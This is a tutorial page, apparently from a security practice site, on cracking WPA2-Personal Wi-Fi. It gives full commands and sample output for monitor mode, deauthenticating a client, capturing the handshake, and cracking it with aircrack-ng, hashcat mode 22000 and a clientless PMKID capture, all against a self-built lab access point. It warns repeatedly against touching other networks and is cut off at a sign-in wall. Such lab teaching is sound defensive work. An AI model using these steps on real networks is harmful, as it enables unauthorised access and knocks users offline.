Practice library / Wireless attacks
Lab · Medium · 1.5 hoursFree account
Cracking WPA/WPA2 Networks
Capture 4-way handshake and crack with hashcat GPU-accelerated wordlists.
On this page 3 sections
Before you start
WPA2 Personal protects home and small office Wi-Fi with a shared passphrase. A weak passphrase is still the single biggest risk, because an attacker who captures the four-way handshake can take it offline and crack it with a GPU. Build the full chain here: monitor mode, handshake capture, hashcat mode 22000 and the clientless PMKID attack.
What You'll Learn
- Put a wireless card into monitor mode and confirm it works.
- Find WPA2 networks and read the airodump-ng columns that matter.
- Capture a full four-way handshake, using a deauth only when you must.
- Crack the pre-shared key offline with aircrack-ng and a wordlist.
- Convert the capture and crack it faster with hashcat mode 22000.
- Run a clientless PMKID attack and explain why it needs no connected client.
- Name the defences that make every attack above fail.
Build the target
KaliRange hosts no targets and no wireless range. You build and attack a Wi-Fi access point that you own. The SSID KaliRange-Lab, the BSSID AA:BB:CC:DD:EE:FF and the passphrase KaliRange123! below are the example values this lab's commands and output use; replace them with your own AP's values (or name your AP the same way, so your output matches).
Build such a target from free, legal parts:
- A Wi-Fi access point you own: a home or travel router, or a software AP such as
hostapdon a second machine with a spare wireless card. - Set it to WPA2-Personal (PSK) with a short, weak passphrase, so Step 4's wordlist attack succeeds.
- Connect one client (a phone or a VM) to the AP, so you have a station to deauth.
- A scan may also show real neighbouring networks, such as the example
NeighbourNetin this lab's output. Never touch those — attack only the AP you built above.
Machine and card
- Kali Linux 2025.x attacker VM or host.
- A wireless adapter that supports monitor mode and injection (for example the Atheros AR9271).
- A real radio, not the VM's NAT NIC. USB pass-through the adapter if you run Kali in a VM.
Tools and versions
aircrack-ngsuite 1.7 (airmon-ng,airodump-ng,aireplay-ng,aircrack-ng).hashcat6.2.6.hcxtools6.3.x (hcxpcapngtool) andhcxdumptool6.3.x.rockyou.txtfrom thewordlistspackage.
Capturing or cracking Wi-Fi you do not own or have written permission to test is illegal in most countries. It stays illegal even when the tools are easy to run. Stay on the AP you built above and nothing else.
Put the card into monitor mode
Normal (managed) mode only hears traffic sent to you. Monitor mode hears every frame in the air, which is what capture needs. Background services keep flipping the card back to managed mode, so you stop them first.
Check what you have and which interface is the radio:
iwconfigExample output:
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBmKill the services that interfere, then start monitor mode:
sudo airmon-ng check kill
sudo airmon-ng start wlan0Example output:
Killing these processes:
PID Name
1302 NetworkManager
1267 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)Confirm the new interface is in monitor mode:
iwconfig wlan0monwlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBmWhat to notice: the interface is now wlan0mon and its mode is Monitor. Use wlan0mon from here on.
If airmon-ng start shows no "monitor mode vif enabled" line, your adapter or driver does not support it.
airmon-ng check kill stops NetworkManager, so this card and any other Wi-Fi drops. Run the lab from a wired
link or the VM console. Restore normal networking later with sudo airmon-ng stop wlan0mon then
sudo systemctl start NetworkManager.
Find the target network
You need three facts before you can capture: the target's BSSID (its MAC), its channel, and a connected client. A broad scan gives you all three and shows the airodump-ng layout you will use again.
Start a wide scan across all channels:
sudo airodump-ng wlan0monExample output:
CH 6 ][ Elapsed: 24 s ][ 2026-11-19 21:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AA:BB:CC:DD:EE:FF -42 58 4 0 6 130 WPA2 CCMP PSK KaliRange-Lab
11:22:33:44:55:66 -67 31 0 0 11 130 WPA2 CCMP PSK NeighbourNet
BSSID STATION PWR Rate Lost Frames Probes
AA:BB:CC:DD:EE:FF A0:B1:C2:D3:E4:F5 -48 0 - 1e 0 12What to notice:
KaliRange-Labis on channel6, BSSIDAA:BB:CC:DD:EE:FF,ENCisWPA2,AUTHisPSK. PSK is the kind this lab cracks.802.1X(Enterprise) is a different, harder target.- The bottom section lists stations.
A0:B1:C2:D3:E4:F5is a client joined to the lab AP. That client is your deauth target in the next step. PWRcloser to 0 is a stronger signal. A weak signal gives a lossy capture.
Press Ctrl+C to stop. Note the BSSID, channel, and client MAC.
Capture the four-way handshake
WPA2 proves the password with a four-way handshake when a client joins. You never capture the password. You capture those four EAPOL messages, which contain enough to test guesses offline later.
Lock airodump-ng to the target's channel and write the capture to disk. Keep this terminal running:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0monYou now wait for a client to join. To speed it up, open a second terminal and disconnect the known client once. It reconnects automatically and the handshake is captured:
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c A0:B1:C2:D3:E4:F5 wlan0monExample deauth output:
21:33:58 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:FF) on channel 6
21:33:58 Sending 64 directed DeAuth (code 7). STMAC: [A0:B1:C2:D3:E4:F5] [ 6|63 ACKs]
21:33:59 Sending 64 directed DeAuth (code 7). STMAC: [A0:B1:C2:D3:E4:F5] [10|60 ACKs]Watch the top right of the airodump-ng window. When the capture succeeds you see:
CH 6 ][ Elapsed: 1 min ][ 2026-11-19 21:34 ][ WPA handshake: AA:BB:CC:DD:EE:FFWhat to notice: the text WPA handshake: AA:BB:CC:DD:EE:FF is the only proof that matters. Without it, the
crack cannot work. If it does not appear, send one more small deauth and wait for the client to reconnect.
Stop airodump-ng with Ctrl+C. You now have files named capture-01.cap, capture-01.csv, and more.
Target one client with -c, and send a small, countable burst (--deauth 5). --deauth 0 floods forever and
knocks every device off the AP. In a shared range that is noisy and destructive. Deauth only the station you own.
Crack the handshake with aircrack-ng
This is the simplest crack: aircrack-ng tries each word in a list against the captured handshake on your CPU. It is slow but needs no setup, so it is the right first tool to understand the attack.
Unpack the wordlist once (Kali ships it compressed):
sudo gunzip /usr/share/wordlists/rockyou.txt.gzRun the crack against the capture, pinned to the target BSSID:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.capExample output on success:
Aircrack-ng 1.7
[00:00:14] 10432/14344391 keys tested (872.18 k/s)
KEY FOUND! [ KaliRange123! ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transient Key : 1A 2B 3C 4D 5E 6F 70 81 92 A3 B4 C5 D6 E7 F8 09
EAPOL HMAC : 8D EC 6F 61 9F 7C 9F 36 93 CF 7B 9E 86 9E 7C 2AWhat to notice:
KEY FOUND! [ KaliRange123! ]is the recovered passphrase. That is the WPA2 PSK.- The
keys testedrate (here ~872k/s) is your CPU speed. A real random passphrase would never fall to this. - If you see
Passphrase not in dictionary, the word simply was not in the list. The attack only finds weak keys.
aircrack-ng reads .cap files directly, so no conversion is needed here. The conversion in Task 5 is only
because hashcat uses its own hash format.
Crack faster with hashcat (mode 22000)
A CPU wordlist run is slow. hashcat runs guesses on the GPU, often thousands of times faster, and it supports
rules and masks. First you convert the .cap into hashcat's modern WPA format (22000).
Convert the capture:
hcxpcapngtool -o hash.hc22000 capture-01.capExample output:
summary capture file
--------------------
file name........................: capture-01.cap
EAPOL messages (total)...........: 14
EAPOL pairs (best)...............: 1
PMKID (total)....................: 1
EAPOL M1M2M3M4 written to 22000..: 1What to notice: EAPOL pairs (best): 1 means a usable handshake was extracted. If it reports 0, the capture
had no clean handshake and you must go back to Task 3.
Run a straight wordlist attack on the GPU:
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txtExample cracked summary:
hashcat (v6.2.6) starting
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Speed.#1.........: 412.6 kH/s (34.21ms)
Recovered........: 1/1 (100.00%) Digests
aa11bb22...:KaliRange-Lab:a0b1c2d3e4f5:aabbccddeeff:KaliRange123!What to notice: the last field after the colons is the cracked passphrase. Status: Cracked and
Recovered: 1/1 confirm success.
When a plain wordlist fails, add a rule file to mutate each word, or try a mask for known patterns:
# Mutate each word (adds digits, swaps case, etc.)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force an 8-digit numeric key (phone numbers, dates)
hashcat -m 22000 hash.hc22000 -a 3 '?d?d?d?d?d?d?d?d'What to notice: rules and masks widen the search without a bigger list. -a 3 is mask (brute-force) mode and
?d means one digit. A longer or truly random passphrase still defeats all of these.
hashcat modes 2500 (handshake) and 16800 (PMKID) are retired. Use 22000 for both. It accepts handshakes and
PMKIDs in one file, which is why hcxpcapngtool wrote both above.
Clientless capture with a PMKID attack
Task 3 needed a connected client to deauth. Some APs hand out a PMKID in their first reply, so you can grab a
crackable hash from the AP alone, with no client and no deauth. hcxdumptool collects it.
hcxdumptool 6.3.x manages the radio itself. Point it at the plain interface (wlan0), not wlan0mon, and
do not run airmon-ng first. Flags changed between 6.2.x and 6.3.x, so always check hcxdumptool --help for the
version you have.
Capture to a pcapng file. Stop it with Ctrl+C after a minute or two:
sudo hcxdumptool -i wlan0 -w dump.pcapngExample status lines (abridged):
INTERFACE..............: wlan0
...
[21:40:03] AA:BB:CC:DD:EE:FF KaliRange-Lab [FOUND PMKID]What to notice: [FOUND PMKID] for your lab BSSID means you have a hash without ever touching a client.
Add -c to restrict channels and speed things up; run --help to see the exact channel syntax for your build.
Convert and crack it exactly like Task 5 — mode 22000 handles PMKIDs too:
hcxpcapngtool -o pmkid.hc22000 dump.pcapng
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txtWhat to notice: the crack is identical to the handshake crack. The PMKID attack only changes how you get the hash, not how you break it. The passphrase strength still decides whether it cracks.
Sign in to continue
2 more sections are for signed-in members. It is free: sign in with Google.